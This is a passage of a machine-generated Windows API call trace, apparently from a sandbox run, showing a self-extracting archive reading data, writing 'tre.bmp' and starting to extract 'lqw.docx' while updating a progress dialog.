lpNumberOfBytesRead=0x171578*=0x19f, lpOverlapped=0x0) returned 1 [0068.064] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x61 [0068.064] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.064] GetTickCount () returned 0x1fa26 [0068.064] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.064] ReadFile (in: hFile=0x1c, lpBuffer=0x270427, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270427*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.064] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.064] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.064] GetTickCount () returned 0x1fa26 [0068.064] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.064] ReadFile (in: hFile=0x1c, lpBuffer=0x270427, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270427*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.064] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.064] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.064] GetTickCount () returned 0x1fa26 [0068.064] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.064] ReadFile (in: hFile=0x1c, lpBuffer=0x270427, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270427*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.064] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.064] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.064] GetTickCount () returned 0x1fa26 [0068.064] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.064] ReadFile (in: hFile=0x1c, lpBuffer=0x270427, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270427*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.064] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.064] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.064] GetTickCount () returned 0x1fa26 [0068.064] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.064] ReadFile (in: hFile=0x1c, lpBuffer=0x270427, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270427*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.064] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.064] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.064] GetTickCount () returned 0x1fa26 [0068.064] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.064] ReadFile (in: hFile=0x1c, lpBuffer=0x270427, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270427*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.064] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.064] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.064] GetTickCount () returned 0x1fa26 [0068.064] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.064] ReadFile (in: hFile=0x1c, lpBuffer=0x270427, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270427*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.064] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.064] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.064] GetTickCount () returned 0x1fa26 [0068.064] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.064] ReadFile (in: hFile=0x1c, lpBuffer=0x270427, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270427*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.064] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.064] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.064] GetTickCount () returned 0x1fa26 [0068.065] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.065] ReadFile (in: hFile=0x1c, lpBuffer=0x270427, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270427*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.065] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.065] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.065] GetTickCount () returned 0x1fa26 [0068.065] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.065] ReadFile (in: hFile=0x1c, lpBuffer=0x270427, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270427*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.065] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.065] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.065] GetTickCount () returned 0x1fa26 [0068.065] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.065] ReadFile (in: hFile=0x1c, lpBuffer=0x270427, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270427*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.065] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.065] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.065] GetTickCount () returned 0x1fa26 [0068.065] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.065] ReadFile (in: hFile=0x1c, lpBuffer=0x270427, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270427*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.065] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.065] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.065] GetTickCount () returned 0x1fa36 [0068.065] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 1 [0068.065] GetMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x171590) returned 1 [0068.065] TranslateMessage (lpMsg=0x171590) returned 0 [0068.065] DispatchMessageW (lpMsg=0x171590) returned 0x0 [0068.065] ReadFile (in: hFile=0x1c, lpBuffer=0x270427, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270427*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.065] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.065] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.065] GetTickCount () returned 0x1fa36 [0068.065] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.065] ReadFile (in: hFile=0x1c, lpBuffer=0x270427, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270427*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.065] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.065] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.065] GetTickCount () returned 0x1fa36 [0068.065] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.065] ReadFile (in: hFile=0x1c, lpBuffer=0x270427, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270427*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.065] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.065] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.065] GetTickCount () returned 0x1fa36 [0068.065] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.065] ReadFile (in: hFile=0x1c, lpBuffer=0x270427, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270427*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.066] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.066] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.066] GetTickCount () returned 0x1fa36 [0068.066] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.066] ReadFile (in: hFile=0x1c, lpBuffer=0x270427, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270427*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.066] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.066] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.066] GetTickCount () returned 0x1fa36 [0068.066] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.066] ReadFile (in: hFile=0x1c, lpBuffer=0x270427, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270427*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.066] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.066] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.066] GetTickCount () returned 0x1fa36 [0068.066] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.066] ReadFile (in: hFile=0x1c, lpBuffer=0x270427, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270427*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.066] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.066] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.066] GetTickCount () returned 0x1fa36 [0068.066] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.066] ReadFile (in: hFile=0x1c, lpBuffer=0x270427, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270427*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.066] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.066] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.066] GetTickCount () returned 0x1fa36 [0068.066] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.066] ReadFile (in: hFile=0x1c, lpBuffer=0x270427, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270427*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.066] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.066] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.066] GetTickCount () returned 0x1fa36 [0068.066] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.066] ReadFile (in: hFile=0x1c, lpBuffer=0x270427, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270427*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.066] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.066] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.066] GetTickCount () returned 0x1fa36 [0068.066] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.066] ReadFile (in: hFile=0x1c, lpBuffer=0x270427, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270427*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.066] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.066] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.066] GetTickCount () returned 0x1fa36 [0068.066] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.066] ReadFile (in: hFile=0x1c, lpBuffer=0x270427, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270427*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.066] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.066] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.066] GetTickCount () returned 0x1fa36 [0068.066] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.066] ReadFile (in: hFile=0x1c, lpBuffer=0x270427, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270427*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.066] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.067] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.067] GetTickCount () returned 0x1fa36 [0068.067] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.067] ReadFile (in: hFile=0x1c, lpBuffer=0x270427, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270427*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.067] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.067] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.067] GetTickCount () returned 0x1fa36 [0068.067] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.067] ReadFile (in: hFile=0x1c, lpBuffer=0x270427, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270427*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.067] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.067] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.067] GetTickCount () returned 0x1fa36 [0068.067] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.067] ReadFile (in: hFile=0x1c, lpBuffer=0x270427, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270427*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.067] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.067] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.067] GetTickCount () returned 0x1fa36 [0068.067] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.067] ReadFile (in: hFile=0x1c, lpBuffer=0x270427, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270427*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.067] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.067] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.067] GetTickCount () returned 0x1fa36 [0068.067] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.067] WriteFile (in: hFile=0x138, lpBuffer=0x2e40020*, nNumberOfBytesToWrite=0x1fb, lpNumberOfBytesWritten=0x171564, lpOverlapped=0x0 | out: lpBuffer=0x2e40020*, lpNumberOfBytesWritten=0x171564*=0x1fb, lpOverlapped=0x0) returned 1 [0068.068] GetTickCount () returned 0x1fa36 [0068.068] PeekMessageW (in: lpMsg=0x171554, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171554) returned 0 [0068.068] SetFilePointer (in: hFile=0x1c, lDistanceToMove=861818, lpDistanceToMoveHigh=0x1715e8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1715e8*=0) returned 0xd267a [0068.068] SystemTimeToFileTime (in: lpSystemTime=0x1715b8, lpFileTime=0x1715c8 | out: lpFileTime=0x1715c8) returned 1 [0068.068] LocalFileTimeToFileTime (in: lpLocalFileTime=0x1715c8, lpFileTime=0x1715f8 | out: lpFileTime=0x1715f8) returned 1 [0068.068] SetFileTime (hFile=0x138, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x1715f8) returned 1 [0068.068] CloseHandle (hObject=0x138) returned 1 [0068.069] SetFileAttributesA (lpFileName="tre.bmp", dwFileAttributes=0x20) returned 1 [0068.069] SetFilePointer (in: hFile=0x1c, lDistanceToMove=0, lpDistanceToMoveHigh=0x17410c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x17410c*=0) returned 0xd267a [0068.069] ReadFile (in: hFile=0x1c, lpBuffer=0x2590a8, nNumberOfBytesToRead=0x7, lpNumberOfBytesRead=0x1740c4, lpOverlapped=0x0 | out: lpBuffer=0x2590a8*, lpNumberOfBytesRead=0x1740c4*=0x7, lpOverlapped=0x0) returned 1 [0068.070] ReadFile (in: hFile=0x1c, lpBuffer=0x25a8cf, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x1740c4, lpOverlapped=0x0 | out: lpBuffer=0x25a8cf*, lpNumberOfBytesRead=0x1740c4*=0x26, lpOverlapped=0x0) returned 1 [0068.070] OemToCharA (in: pSrc="lqw.docx", pDst=0x179cc0 | out: pDst="lqw.docx") returned 1 [0068.070] CompareStringA (Locale=0x400, dwCmpFlags=0x1001, lpString1="*", cchCount1=1, lpString2="lqw.docx", cchCount2=1) returned 1 [0068.070] CompareStringA (Locale=0x400, dwCmpFlags=0x1001, lpString1="__rar_", cchCount1=6, lpString2="lqw.docx", cchCount2=6) returned 1 [0068.070] CompareStringA (Locale=0x400, dwCmpFlags=0x1001, lpString1="*", cchCount1=-1, lpString2="lqw.docx", cchCount2=-1) returned 1 [0068.070] SetFilePointer (in: hFile=0x1c, lDistanceToMove=861863, lpDistanceToMoveHigh=0x1715ec*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1715ec*=0) returned 0xd26a7 [0068.070] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x174aec, cbMultiByte=-1, lpWideCharStr=0x170dfc, cchWideChar=1024 | out: lpWideCharStr="lqw.docx") returned 9 [0068.070] LoadStringW (in: hInstance=0x400000, uID=0x65, lpBuffer=0x4196b8, cchBufferMax=512 | out: lpBuffer="Extracting %s") returned 0xd [0068.070] wvsprintfW (in: param_1=0x1701fc, param_2="Extracting %s", arglist=0x1701f8 | out: param_1="Extracting lqw.docx") returned 19 [0068.070] SetDlgItemTextW (hDlg=0x20216, nIDDlgItem=101, lpString="Extracting lqw.docx") returned 1 [0068.070] PeekMessageW (in: lpMsg=0x1701d8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1701d8) returned 0 [0068.070] OemToCharBuffA (in: lpszSrc="l", lpszDst=0x17160c, cchDstLength=0x1 | out: lpszDst="l") returned 1 [0068.070] CharToOemBuffA (in: lpszSrc="L", lpszDst=0x171600, cchDstLength=0x1 | out: lpszDst="L") returned 1 [0068.070] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x181870, cbMultiByte=-1, lpWideCharStr=0x170b94, cchWideChar=16777216 | out: lpWideCharStr="lqw.docx") returned 9 [0068.070] FindFirstFileW (in: lpFileName="lqw.docx", lpFindFileData=0x171394 | out: lpFindFileData=0x171394) returned 0xffffffff 